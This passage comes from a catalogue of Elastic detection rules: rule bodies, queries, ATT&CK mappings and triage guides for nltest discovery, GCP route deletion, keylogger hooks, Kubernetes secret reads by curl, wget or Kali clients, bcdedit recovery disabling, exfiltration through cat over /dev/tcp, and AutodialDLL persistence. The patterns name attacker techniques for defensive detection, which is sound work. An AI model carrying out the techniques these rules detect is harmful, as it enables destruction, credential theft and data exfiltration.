"Use Case: Threat Detection",
"Tactic: Discovery",
"Data Source: Elastic Endgame",
"Resources: Investigation Guide",
"Data Source: Elastic Defend",
"Data Source: Windows Security Event Logs",
"Data Source: Microsoft Defender XDR",
"Data Source: Crowdstrike",
"Data Source: Sysmon",
]
timestamp_override = "event.ingested"
type = "eql"
query = '''
process where host.os.type == "windows" and event.type == "start" and
process.name : "nltest.exe" and process.args : (
"/DCLIST:*", "/DCNAME:*", "/DSGET*",
"/LSAQUERYFTI:*", "/PARENTDOMAIN",
"/DOMAIN_TRUSTS", "/BDC_QUERY:*"
) and
not process.parent.name : "PDQInventoryScanner.exe" and
not (
user.id in ("S-1-5-18", "S-1-5-19", "S-1-5-20") and
/* Don't apply the user.id exclusion to Sysmon for compatibility */
not data_stream.dataset : ("windows.sysmon_operational", "windows.sysmon")
)
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1018"
name = "Remote System Discovery"
reference = "https://attack.mitre.org/techniques/T1018/"
[[rule.threat.technique]]
id = "T1482"
name = "Domain Trust Discovery"
reference = "https://attack.mitre.org/techniques/T1482/"
[rule.threat.tactic]
id = "TA0007"
name = "Discovery"
reference = "https://attack.mitre.org/tactics/TA0007/"
Stages and Predicates
Stage 1: process
process where host.os.type == "windows" and event.type == "start" and
process.name : "nltest.exe" and process.args : (
"/DCLIST:*", "/DCNAME:*", "/DSGET*",
"/LSAQUERYFTI:*", "/PARENTDOMAIN",
"/DOMAIN_TRUSTS", "/BDC_QUERY:*"
) and
not process.parent.name : "PDQInventoryScanner.exe" and
not (
user.id in ("S-1-5-18", "S-1-5-19", "S-1-5-20") and
not data_stream.dataset : ("windows.sysmon_operational", "windows.sysmon")
)
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
data_stream.dataset | wildcard |
| field:"data_stream.dataset" kind:wildcard |
event.type | eq |
| field:"event.type" kind:eq value:"start" |
process.args | wildcard |
| field:"process.args" kind:wildcard |
process.name | wildcard |
| field:"process_basename" kind:wildcard value:"nltest.exe" |
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
data_stream.dataset | eq | windows.sysmon_operational, windows.sysmon | excludes:data_stream.dataset field:"data_stream.dataset" value:"windows.sysmon_operational" field:"data_stream.dataset" value:"windows.sysmon" |
user.id | in | S-1-5-18, S-1-5-19, S-1-5-20 | excludes:user.id field:"user.id" value:"S-1-5-18" field:"user.id" value:"S-1-5-19" field:"user.id" value:"S-1-5-20" |
process.parent.name | eq | PDQInventoryScanner.exe | excludes:process.parent.name field:"process.parent.name" value:"PDQInventoryScanner.exe" |
GCP Virtual Private Cloud Route Deletion
#Identifies when a Virtual Private Cloud (VPC) route is deleted in Google Cloud Platform (GCP). Google Cloud routes define the paths that network traffic takes from a virtual machine (VM) instance to other destinations. These destinations can be inside a Google VPC network or outside it. An adversary may delete a route in order to impact the flow of network traffic in their target's cloud environment.
Known False Positives
- Virtual Private Cloud routes may be deleted by system administrators. Verify that the configuration change was expected. Exceptions can be added to this rule to filter expected behavior.
MITRE ATT&CK Coverage
Telemetry Coverage
| Platform | Record / event type |
|---|---|
| GCP | compute.routes.delete: delete |
Rule Body
[metadata]
creation_date = "2020/09/22"
integration = ["gcp"]
maturity = "production"
updated_date = "2026/04/10"
[rule]
author = ["Elastic"]
description = """
Identifies when a Virtual Private Cloud (VPC) route is deleted in Google Cloud Platform (GCP). Google Cloud routes
define the paths that network traffic takes from a virtual machine (VM) instance to other destinations. These
destinations can be inside a Google VPC network or outside it. An adversary may delete a route in order to impact the
flow of network traffic in their target's cloud environment.
"""
false_positives = [
"""
Virtual Private Cloud routes may be deleted by system administrators. Verify that the configuration change was
expected. Exceptions can be added to this rule to filter expected behavior.
""",
]
index = ["filebeat-*", "logs-gcp*"]
language = "kuery"
license = "Elastic License v2"
name = "GCP Virtual Private Cloud Route Deletion"
note = """## Triage and analysis
> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
### Investigating GCP Virtual Private Cloud Route Deletion
In GCP, VPC routes dictate network traffic paths between VM instances and other destinations. Adversaries may delete these routes to disrupt traffic flow, potentially evading defenses or impairing network operations. The detection rule monitors audit logs for successful route deletions, flagging potential misuse by identifying specific actions linked to route removal, thus aiding in timely threat response.
### Possible investigation steps
- Review the audit logs for the specific event.dataset:gcp.audit and event.action:v*.compute.routes.delete to identify the exact time and user account associated with the route deletion.
- Check the event.outcome:success field to confirm the deletion was successful and not an attempted action.
- Investigate the user account or service account that performed the deletion to determine if it was authorized to make such changes, including reviewing recent activity and permissions.
- Assess the impact of the route deletion by identifying which VPC and network traffic paths were affected, and determine if any critical services were disrupted.
- Correlate the route deletion event with other security events or alerts around the same timeframe to identify potential coordinated actions or broader attack patterns.
- Contact the relevant stakeholders or system owners to verify if the route deletion was intentional and part of a planned change or if it was unauthorized.
### False positive analysis
- Routine maintenance activities by network administrators can trigger route deletions. To manage this, create exceptions for known maintenance windows or specific administrator accounts.
- Automated scripts or tools used for network configuration updates may delete and recreate routes as part of their normal operation. Identify these scripts and exclude their actions from triggering alerts.
- Cloud infrastructure changes during deployment processes might involve temporary route deletions. Document these processes and exclude related events from detection during deployment periods.
- Scheduled network reconfigurations that involve route deletions should be logged and excluded from alerts by correlating with change management records.
- Test environments often undergo frequent network changes, including route deletions. Exclude events from test environments by filtering based on project or environment tags.
### Response and remediation
- Immediately isolate the affected VPC to prevent further unauthorized network traffic disruptions. This can be done by temporarily disabling external access or applying restrictive firewall rules.
- Review the audit logs to identify the user or service account responsible for the route deletion. Verify if the action was authorized and investigate any anomalies in user behavior or access patterns.
- Restore the deleted route using the latest backup or configuration management tools to re-establish normal network traffic flow. Ensure that the restored route aligns with the intended network architecture.
- Implement additional access controls and monitoring for the affected VPC, such as enabling more granular IAM roles and setting up alerts for any future route modifications.
- Conduct a security review of the affected environment to identify any other potential misconfigurations or vulnerabilities that could be exploited in a similar manner.
- Escalate the incident to the security operations team for further investigation and to determine if the route deletion was part of a larger attack campaign.
- Document the incident, including the root cause analysis and remediation steps taken, to enhance organizational knowledge and improve future incident response efforts.
## Setup
The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule."""
references = ["https://cloud.google.com/vpc/docs/routes", "https://cloud.google.com/vpc/docs/using-routes"]
risk_score = 47
rule_id = "a17bcc91-297b-459b-b5ce-bc7460d8f82a"
severity = "medium"
tags = [
"Domain: Cloud",
"Data Source: GCP",
"Data Source: Google Cloud Platform",
"Use Case: Configuration Audit",
"Tactic: Defense Evasion",
"Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "query"
query = '''
data_stream.dataset:gcp.audit and event.action:v*.compute.routes.delete and event.outcome:success
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1562"
name = "Impair Defenses"
reference = "https://attack.mitre.org/techniques/T1562/"
[[rule.threat.technique.subtechnique]]
id = "T1562.007"
name = "Disable or Modify Cloud Firewall"
reference = "https://attack.mitre.org/techniques/T1562/007/"
[[rule.threat.technique]]
id = "T1578"
name = "Modify Cloud Compute Infrastructure"
reference = "https://attack.mitre.org/techniques/T1578/"
[[rule.threat.technique.subtechnique]]
id = "T1578.005"
name = "Modify Cloud Compute Configurations"
reference = "https://attack.mitre.org/techniques/T1578/005/"
[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
Stages and Predicates
Stage 1: query
data_stream.dataset:gcp.audit and event.action:v*.compute.routes.delete and event.outcome:success
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
data_stream.dataset | eq |
| field:"data_stream.dataset" kind:eq value:"gcp.audit" |
event.action | wildcard |
| field:"EventType" kind:wildcard value:"v*.compute.routes.delete" |
event.outcome | eq |
| field:"event.outcome" kind:eq value:"success" |
Keystroke Capture by Unsigned Process
#Identifies attempts to install an application-defined hook procedure to monitor keystroke messages. Adversaries may log user keystrokes to intercept credentials or other information from the user as the user types them.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Collection |
Rule Body
[rule]
description = """
Identifies attempts to install an application-defined hook procedure to monitor keystroke messages. Adversaries may log
user keystrokes to intercept credentials or other information from the user as the user types them.
"""
id = "10f7051d-2b32-411b-acdc-b7529662c921"
license = "Elastic License v2"
name = "Keystroke Capture by Unsigned Process"
os_list = ["windows"]
reference = [
"https://attack.mitre.org/techniques/T1056/001/",
"https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa",
"https://www.elastic.co/security-labs/protecting-your-devices-from-information-theft-keylogger-protection",
]
version = "1.0.3"
query = '''
sequence by process.entity_id with maxspan=1m
[process where event.action == "start" and
process.Ext.relative_file_creation_time <= 300 and user.id != "S-1-5-18" and
(process.code_signature.trusted == false or process.code_signature.exists == false) and
not process.executable : ("?:\\Program Files\\*.exe", "?:\\Program Files (x86)\\*.exe")]
[api where process.Ext.api.name == "SetWindowsHookEx" and
process.Ext.api.parameters.hook_type == "WH_KEYBOARD_LL" and process.Ext.api.parameters.hook_module == "null" and
_arraysearch(process.thread.Ext.call_stack_final_user_module.code_signature, $entry, $entry.trusted == false or $entry.exists == false) and
not process.thread.Ext.call_stack_final_user_module.hash.sha256 in
("487076852893ed0b55052648a3957d4061792b90d9bf6d9e418e62de00512323",
"42c077bc38c9423e9375382b70e88c0bf6dbde5694aac85499fcdf70a6eb4935",
"5bb0e800cfcb99fb56642fc7f9a1fa1c6fd9a46233698ed9b452508682a1ea2c",
"146190a6b1e60a44d2f30577b5ca58688ad7a9cb779ec0b33d0edb9dd91cf43b",
"51208c76fdeb4f2bc8b5008f4df0ec416b068a22f6785177f5ac33c485dc66c9")
]
'''
min_endpoint_version = "8.12.0"
optional_actions = []
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0
tree = true
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1056"
name = "Input Capture"
reference = "https://attack.mitre.org/techniques/T1056/"
[[threat.technique.subtechnique]]
id = "T1056.001"
name = "Keylogging"
reference = "https://attack.mitre.org/techniques/T1056/001/"
[threat.tactic]
id = "TA0009"
name = "Collection"
reference = "https://attack.mitre.org/tactics/TA0009/"
[internal]
min_endpoint_version = "8.12.0"
Stages and Predicates
Ordered sequence: each step below must occur in order within 1m, correlated by process.entity_id.
Stage 1: process
[process where event.action == "start" and
process.Ext.relative_file_creation_time <= 300 and user.id != "S-1-5-18" and
(process.code_signature.trusted == false or process.code_signature.exists == false) and
not process.executable : ("?:\\Program Files\\*.exe", "?:\\Program Files (x86)\\*.exe")]
Stage 2: api
[api where process.Ext.api.name == "SetWindowsHookEx" and
process.Ext.api.parameters.hook_type == "WH_KEYBOARD_LL" and process.Ext.api.parameters.hook_module == "null" and
_arraysearch(process.thread.Ext.call_stack_final_user_module.code_signature, $entry, $entry.trusted == false or $entry.exists == false) and
not process.thread.Ext.call_stack_final_user_module.hash.sha256 in
("487076852893ed0b55052648a3957d4061792b90d9bf6d9e418e62de00512323",
"42c077bc38c9423e9375382b70e88c0bf6dbde5694aac85499fcdf70a6eb4935",
"5bb0e800cfcb99fb56642fc7f9a1fa1c6fd9a46233698ed9b452508682a1ea2c",
"146190a6b1e60a44d2f30577b5ca58688ad7a9cb779ec0b33d0edb9dd91cf43b",
"51208c76fdeb4f2bc8b5008f4df0ec416b068a22f6785177f5ac33c485dc66c9")
]
Indicators
These rows show field, operator, and value matches.
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
process.executable | wildcard | ?:\Program Files\*.exe, ?:\Program Files (x86)\*.exe | excludes:process.executable field:"process.executable" value:"?:\Program Files\*.exe" field:"process.executable" value:"?:\Program Files (x86)\*.exe" |
process.thread.Ext.call_stack_final_user_module.hash.sha256 | in | 146190a6b1e60a44d2f30577b5ca58688ad7a9cb779ec0b33d0edb9dd91cf43b, 42c077bc38c9423e9375382b70e88c0bf6dbde5694aac85499fcdf70a6eb4935, 487076852893ed0b55052648a3957d4061792b90d9bf6d9e418e62de00512323, 51208c76fdeb4f2bc8b5008f4df0ec416b068a22f6785177f5ac33c485dc66c9, 5bb0e800cfcb99fb56642fc7f9a1fa1c6fd9a46233698ed9b452508682a1ea2c | excludes:process.thread.Ext.call_stack_final_user_module.hash.sha256 |
Kubernetes Secret Get or List with Suspicious User Agent
#Detects read access to Kubernetes Secrets (get/list) with a user agent matching a curated set of non-standard or attacker-leaning clients, for example minimal HTTP tooling, common scripting stacks, default library fingerprints, or distribution-tagged strings associated with offensive-security Linux images. Legitimate in-cluster automation usually presents stable, purpose-specific user agents (for example controller or client-go variants used by known components).
Known False Positives
- Operators may use ad hoc HTTP clients, scripts, or penetration-test images during approved exercises or break-glass maintenance; validate tickets, source IP, and identity before treating as compromise.
- Internal automation built with generic libraries can resemble suspicious user agents; baseline known jobs and tune by service account, namespace, or stable source IP allowlists.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Credential Access |
Telemetry Coverage
| Platform | Record / event type |
|---|---|
| Kubernetes | any-secrets: any verb on secrets (synthetic aggregation) |
Rules Detecting the Same Action
These rules filter on the same operation.
Rule Body
[metadata]
creation_date = "2026/04/22"
integration = ["kubernetes"]
maturity = "production"
updated_date = "2026/08/18"
[rule]
author = ["Elastic"]
description = """
Detects read access to Kubernetes Secrets (get/list) with a user agent matching a curated set of non-standard or
attacker-leaning clients, for example minimal HTTP tooling, common scripting stacks, default library fingerprints, or
distribution-tagged strings associated with offensive-security Linux images. Legitimate in-cluster automation usually
presents stable, purpose-specific user agents (for example controller or client-go variants used by known components).
"""
false_positives = [
"""
Operators may use ad hoc HTTP clients, scripts, or penetration-test images during approved exercises or break-glass
maintenance; validate tickets, source IP, and identity before treating as compromise.
""",
"""
Internal automation built with generic libraries can resemble suspicious user agents; baseline known jobs and tune
by service account, namespace, or stable source IP allowlists.
""",
]
index = ["logs-kubernetes.audit_logs-*"]
language = "kuery"
license = "Elastic License v2"
name = "Kubernetes Secret Get or List with Suspicious User Agent"
note = """## Triage and analysis
### Investigating Kubernetes Secret Get or List with Suspicious User Agent
The rule matches Kubernetes audit events for **secret** `get`/`list` where **`user_agent.original`** matches a **small
allowlist of suspicious patterns** (scripting runtimes, bare HTTP clients, and known offensive-distro markers) and
**`source.ip` is populated**. It is meant to highlight **credential access** where the client fingerprint does not look
like routine kubectl or well-known controller traffic relative to your environment.
### Possible investigation steps
- Tie `user.name` (and `kubernetes.audit.impersonatedUser.*` if present) to a human, service account, or cloud identity
and validate whether that principal should use this user-agent profile against the targeted namespaces and secret names.
- Review `kubernetes.audit.objectRef.namespace` and `kubernetes.audit.objectRef.name` for high-value objects (service
account tokens, cloud IAM bindings, registry pulls, TLS bundles).
- Pivot on `source.ip` in VPC flow, VPN, or proxy logs to determine origin (employee laptop, compromised host, cloud
instance) and correlate with other API bursts or exec activity.
- Check `kubernetes.audit.annotations.authorization_k8s_io/decision` for successful reads versus failed probing.
### False positive analysis
- CI, GitOps, or one-off scripts can emit generic user agents with broad RBAC; exclude stable pipelines and service
accounts after review.
- Local API server loopback may still populate `source.ip` in some topologies; compare with expected control-plane paths.
### Response and remediation
- If unauthorized, rotate affected secrets and credentials, revoke tokens or kubeconfigs for the identity, tighten RBAC,
and block or isolate the source host at the network edge to the API server where appropriate.
"""
references = [
"https://attack.mitre.org/techniques/T1552/007/",
"https://kubernetes.io/docs/concepts/configuration/secret/",
]
risk_score = 73
rule_id = "a4c8e901-2b7f-4d6e-9a3c-8e1f0d5b6c2a"
severity = "high"
tags = [
"Data Source: Kubernetes",
"Data Source: Kubernetes API Server Audit Logs",
"Domain: Kubernetes",
"Platform: Kubernetes",
"Use Case: Threat Detection",
"Tactic: Credential Access",
"Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "query"
query = '''
data_stream.dataset:"kubernetes.audit_logs" and
event.action:(get or list) and
kubernetes.audit.objectRef.resource:"secrets" and
event.outcome:"success" and
user_agent.original:(curl* or python* or Python* or wget* or Go-http* or perl* or java* or node* or php* or *distrib#kali* or *kali-amd64* or *kali-arm64* or Bun* or axios* or undici*) and
source.ip:*
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1552"
name = "Unsecured Credentials"
reference = "https://attack.mitre.org/techniques/T1552/"
[[rule.threat.technique.subtechnique]]
id = "T1552.007"
name = "Container API"
reference = "https://attack.mitre.org/techniques/T1552/007/"
[rule.threat.tactic]
id = "TA0006"
name = "Credential Access"
reference = "https://attack.mitre.org/tactics/TA0006/"
Stages and Predicates
Stage 1: query
data_stream.dataset:"kubernetes.audit_logs" and
event.action:(get or list) and
kubernetes.audit.objectRef.resource:"secrets" and
event.outcome:"success" and
user_agent.original:(curl* or python* or Python* or wget* or Go-http* or perl* or java* or node* or php* or *distrib#kali* or *kali-amd64* or *kali-arm64* or Bun* or axios* or undici*) and
source.ip:*
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
data_stream.dataset | eq |
| field:"data_stream.dataset" kind:eq value:"kubernetes.audit_logs" |
event.action | in |
| field:"EventType" kind:in |
event.outcome | eq |
| field:"event.outcome" kind:eq value:"success" |
kubernetes.audit.objectRef.resource | eq |
| field:"kubernetes.audit.objectRef.resource" kind:eq value:"secrets" |
source.ip | is_not_null | field:"src_ip" kind:is_not_null | |
user_agent.original | wildcard |
| field:"aws::userAgent" kind:wildcard |
Modification of Boot Configuration
#Identifies use of bcdedit.exe to delete boot configuration data. This tactic is sometimes used as by malware or an attacker as a destructive technique.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Impact |
Telemetry Coverage
| Provider | Record / event type |
|---|---|
| Sysmon | Event ID 1: Process creation |
| Security-Auditing | Event ID 4688: A new process has been created. |
Rule Body
[metadata]
creation_date = "2020/03/16"
integration = ["endpoint", "windows", "system", "m365_defender", "sentinel_one_cloud_funnel", "crowdstrike"]
maturity = "production"
updated_date = "2026/05/04"
[rule]
author = ["Elastic"]
description = """
Identifies use of bcdedit.exe to delete boot configuration data. This tactic is sometimes used as by malware or an
attacker as a destructive technique.
"""
from = "now-9m"
index = [
"endgame-*",
"logs-crowdstrike.fdr*",
"logs-endpoint.events.process-*",
"logs-m365_defender.event-*",
"logs-sentinel_one_cloud_funnel.*",
"logs-system.security*",
"logs-windows.forwarded*",
"logs-windows.sysmon_operational-*",
"winlogbeat-*",
]
language = "eql"
license = "Elastic License v2"
name = "Modification of Boot Configuration"
note = """## Triage and analysis
### Investigating Modification of Boot Configuration
Boot entry parameters, or boot parameters, are optional, system-specific settings that represent configuration options. These are stored in a boot configuration data (BCD) store, and administrators can use utilities like `bcdedit.exe` to configure these.
This rule identifies the usage of `bcdedit.exe` to:
- Disable Windows Error Recovery (recoveryenabled).
- Ignore errors if there is a failed boot, failed shutdown, or failed checkpoint (bootstatuspolicy ignoreallfailures).
These are common steps in destructive attacks by adversaries leveraging ransomware.
#### Possible investigation steps
- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures.
- Identify the user account that performed the action and whether it should perform this kind of action.
- Contact the account owner and confirm whether they are aware of this activity.
- Investigate other alerts associated with the user/host during the past 48 hours.
- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts.
- Check if any files on the host machine have been encrypted.
### False positive analysis
- The usage of these options is not inherently malicious. Administrators can modify these configurations to force a machine to boot for troubleshooting or data recovery purposes.
### Related rules
- Deleting Backup Catalogs with Wbadmin - 581add16-df76-42bb-af8e-c979bfb39a59
### Response and remediation
- Initiate the incident response process based on the outcome of the triage.
- Consider isolating the involved host to prevent destructive behavior, which is commonly associated with this activity.
- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services.
- If any other destructive action was identified on the host, it is recommended to prioritize the investigation and look for ransomware preparation and execution activities.
- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector.
- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).
"""
setup = """## Setup
This rule is designed for data generated by [Elastic Defend](https://www.elastic.co/security/endpoint-security), which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules.
Setup instructions: https://ela.st/install-elastic-defend
### Additional data sources
This rule also supports the following third-party data sources. For setup instructions, refer to the links below:
- [CrowdStrike](https://ela.st/crowdstrike-integration)
- [Microsoft Defender XDR](https://ela.st/m365-defender)
- [SentinelOne Cloud Funnel](https://ela.st/sentinel-one-cloud-funnel)
- [Sysmon Event ID 1 - Process Creation](https://ela.st/sysmon-event-1-setup)
- [Windows Process Creation Logs](https://ela.st/audit-process-creation)
"""
risk_score = 21
rule_id = "69c251fb-a5d6-4035-b5ec-40438bd829ff"
severity = "low"
tags = [
"Domain: Endpoint",
"OS: Windows",
"Use Case: Threat Detection",
"Tactic: Impact",
"Resources: Investigation Guide",
"Data Source: Elastic Endgame",
"Data Source: Elastic Defend",
"Data Source: Windows Security Event Logs",
"Data Source: Microsoft Defender XDR",
"Data Source: Sysmon",
"Data Source: SentinelOne",
"Data Source: Crowdstrike",
]
timestamp_override = "event.ingested"
type = "eql"
query = '''
process where host.os.type == "windows" and event.type == "start" and
(process.name : "bcdedit.exe" or ?process.pe.original_file_name == "bcdedit.exe") and
(
(process.args : "/set" and process.args : "bootstatuspolicy" and process.args : "ignoreallfailures") or
(process.args : "no" and process.args : "recoveryenabled")
)
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1490"
name = "Inhibit System Recovery"
reference = "https://attack.mitre.org/techniques/T1490/"
[rule.threat.tactic]
id = "TA0040"
name = "Impact"
reference = "https://attack.mitre.org/tactics/TA0040/"
Stages and Predicates
Stage 1: process
process where host.os.type == "windows" and event.type == "start" and
(process.name : "bcdedit.exe" or ?process.pe.original_file_name == "bcdedit.exe") and
(
(process.args : "/set" and process.args : "bootstatuspolicy" and process.args : "ignoreallfailures") or
(process.args : "no" and process.args : "recoveryenabled")
)
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.type | eq |
| field:"event.type" kind:eq value:"start" |
process.args | wildcard |
| field:"process.args" kind:wildcard |
process.name | wildcard |
| field:"process_basename" kind:wildcard value:"bcdedit.exe" |
process.pe.original_file_name | eq |
| field:"OriginalFileName" kind:eq value:"bcdedit.exe" |
Network Activity Detected via cat
#This rule monitors for the execution of the cat command, followed by a connection attempt by the same process. Cat is capable of transfering data via tcp/udp channels by redirecting its read output to a /dev/tcp or /dev/udp channel. This activity is highly suspicious, and should be investigated. Attackers may leverage this capability to transfer tools or files to another host in the network or exfiltrate data while attempting to evade detection in the process.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Stealth | No specific technique |
| Command & Control | No specific technique |
| Exfiltration | No specific technique |
Rule Body
[rule]
description = """
This rule monitors for the execution of the cat command, followed by a connection attempt by the same process. Cat is
capable of transfering data via tcp/udp channels by redirecting its read output to a /dev/tcp or /dev/udp channel. This
activity is highly suspicious, and should be investigated. Attackers may leverage this capability to transfer tools or
files to another host in the network or exfiltrate data while attempting to evade detection in the process.
"""
id = "25ae94f5-0214-4bf1-b534-33d4ffc3d41c"
license = "Elastic License v2"
name = "Network Activity Detected via cat"
os_list = ["linux"]
version = "1.0.9"
query = '''
sequence by process.entity_id with maxspan=1s
[process where event.action == "exec" and event.type == "start" and process.name == "cat" and
process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish")]
[network where event.action in ("connection_attempted", "disconnect_received") and process.name == "cat" and
not (destination.ip == null or destination.ip == "0.0.0.0" or cidrmatch(
destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29",
"192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24",
"192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10",
"192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10",
"FF00::/8"
)
)]
'''
min_endpoint_version = "7.15.0"
optional_actions = []
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0
[[threat]]
framework = "MITRE ATT&CK"
[threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
[[threat]]
framework = "MITRE ATT&CK"
[threat.tactic]
id = "TA0010"
name = "Exfiltration"
reference = "https://attack.mitre.org/tactics/TA0010/"
[[threat]]
framework = "MITRE ATT&CK"
[threat.tactic]
id = "TA0011"
name = "Command and Control"
reference = "https://attack.mitre.org/tactics/TA0011/"
[internal]
min_endpoint_version = "7.15.0"
Stages and Predicates
Ordered sequence: each step below must occur in order within 1s, correlated by process.entity_id.
Stage 1: process
[process where event.action == "exec" and event.type == "start" and process.name == "cat" and
process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish")]
Stage 2: network
[network where event.action in ("connection_attempted", "disconnect_received") and process.name == "cat" and
not (destination.ip == null or destination.ip == "0.0.0.0" or cidrmatch(
destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29",
"192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24",
"192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10",
"192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10",
"FF00::/8"
)
)]
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.action | eq |
| field:"EventType" kind:eq value:"exec" |
event.action | in |
| field:"EventType" kind:in |
event.type | eq |
| field:"event.type" kind:eq value:"start" |
process.name | eq |
| field:"process_basename" kind:eq value:"cat" |
process.parent.name | in |
| field:"parent_process_basename" kind:in |
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
destination.ip | cidr_match | 10.0.0.0/8, 127.0.0.0/8, 169.254.0.0/16, 172.16.0.0/12, 192.0.0.0/24, 192.0.0.0/29, 192.0.0.8/32, 192.0.0.9/32, 192.0.0.10/32, 192.0.0.170/32, 192.0.0.171/32, 192.0.2.0/24, 192.31.196.0/24, 192.52.193.0/24, 192.168.0.0/16, 192.88.99.0/24, 224.0.0.0/4, 100.64.0.0/10, 192.175.48.0/24, 198.18.0.0/15, 198.51.100.0/24, 203.0.113.0/24, 240.0.0.0/4, ::1, FE80::/10, FF00::/8 | excludes:destination.ip |
destination.ip | eq | 0.0.0.0 | excludes:destination.ip field:"destination.ip" value:"0.0.0.0" |
destination.ip | is_null | excludes:destination.ip |
Persistence via AutodialDLL Registry Modification
#Identifies the modification of the WinSock2 AutoDial registry value to potentially maintain persistence via a malicious DLL that get loaded by any processes invoking the Winsock 2 library (ws2_32.dll).
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Persistence |
Rule Body
[rule]
description = """
Identifies the modification of the WinSock2 AutoDial registry value to potentially maintain persistence via a malicious
DLL that get loaded by any processes invoking the Winsock 2 library (ws2_32.dll).
"""
id = "2ffc3943-8100-4f77-9c8f-e8f9e185604b"
license = "Elastic License v2"
name = "Persistence via AutodialDLL Registry Modification"
os_list = ["windows"]
reference = [
"https://www.hexacorn.com/blog/2015/01/13/beyond-good-ol-run-key-part-24/",
"https://decoded.avast.io/luigicamastra/operation-dragon-castling-apt-group-targeting-betting-companies/",
]
version = "1.0.22"
query = '''
registry where registry.data.strings != null and
registry.path : "HKLM\\SYSTEM\\*ControlSet*\\Services\\WinSock2\\Parameters\\AutodialDLL*" and
not registry.data.strings : "?:\\Windows\\System32\\rasadhlp.dll"
'''
min_endpoint_version = "7.15.0"
optional_actions = []
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0
[[threat]]
framework = "MITRE ATT&CK"
[threat.tactic]
id = "TA0003"
name = "Persistence"
reference = "https://attack.mitre.org/tactics/TA0003/"
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1112"
name = "Modify Registry"
reference = "https://attack.mitre.org/techniques/T1112/"
[threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
[internal]
min_endpoint_version = "7.15.0"
Stages and Predicates
Stage 1: registry
registry where registry.data.strings != null and
registry.path : "HKLM\\SYSTEM\\*ControlSet*\\Services\\WinSock2\\Parameters\\AutodialDLL*" and
not registry.data.strings : "?:\\Windows\\System32\\rasadhlp.dll"
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
registry.data.strings | is_not_null | field:"Details" kind:is_not_null | |
registry.path | wildcard |
| field:"TargetObject" kind:wildcard value:"HKLM\SYSTEM\*ControlSet*\Services\WinSock2\Parameters\AutodialDLL*" |
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
registry.data.strings | eq | ?:\Windows\System32\rasadhlp.dll | excludes:registry.data.strings field:"registry.data.strings" value:"?:\Windows\System32\rasadhlp.dll" |
Process Stared via Remote Thread
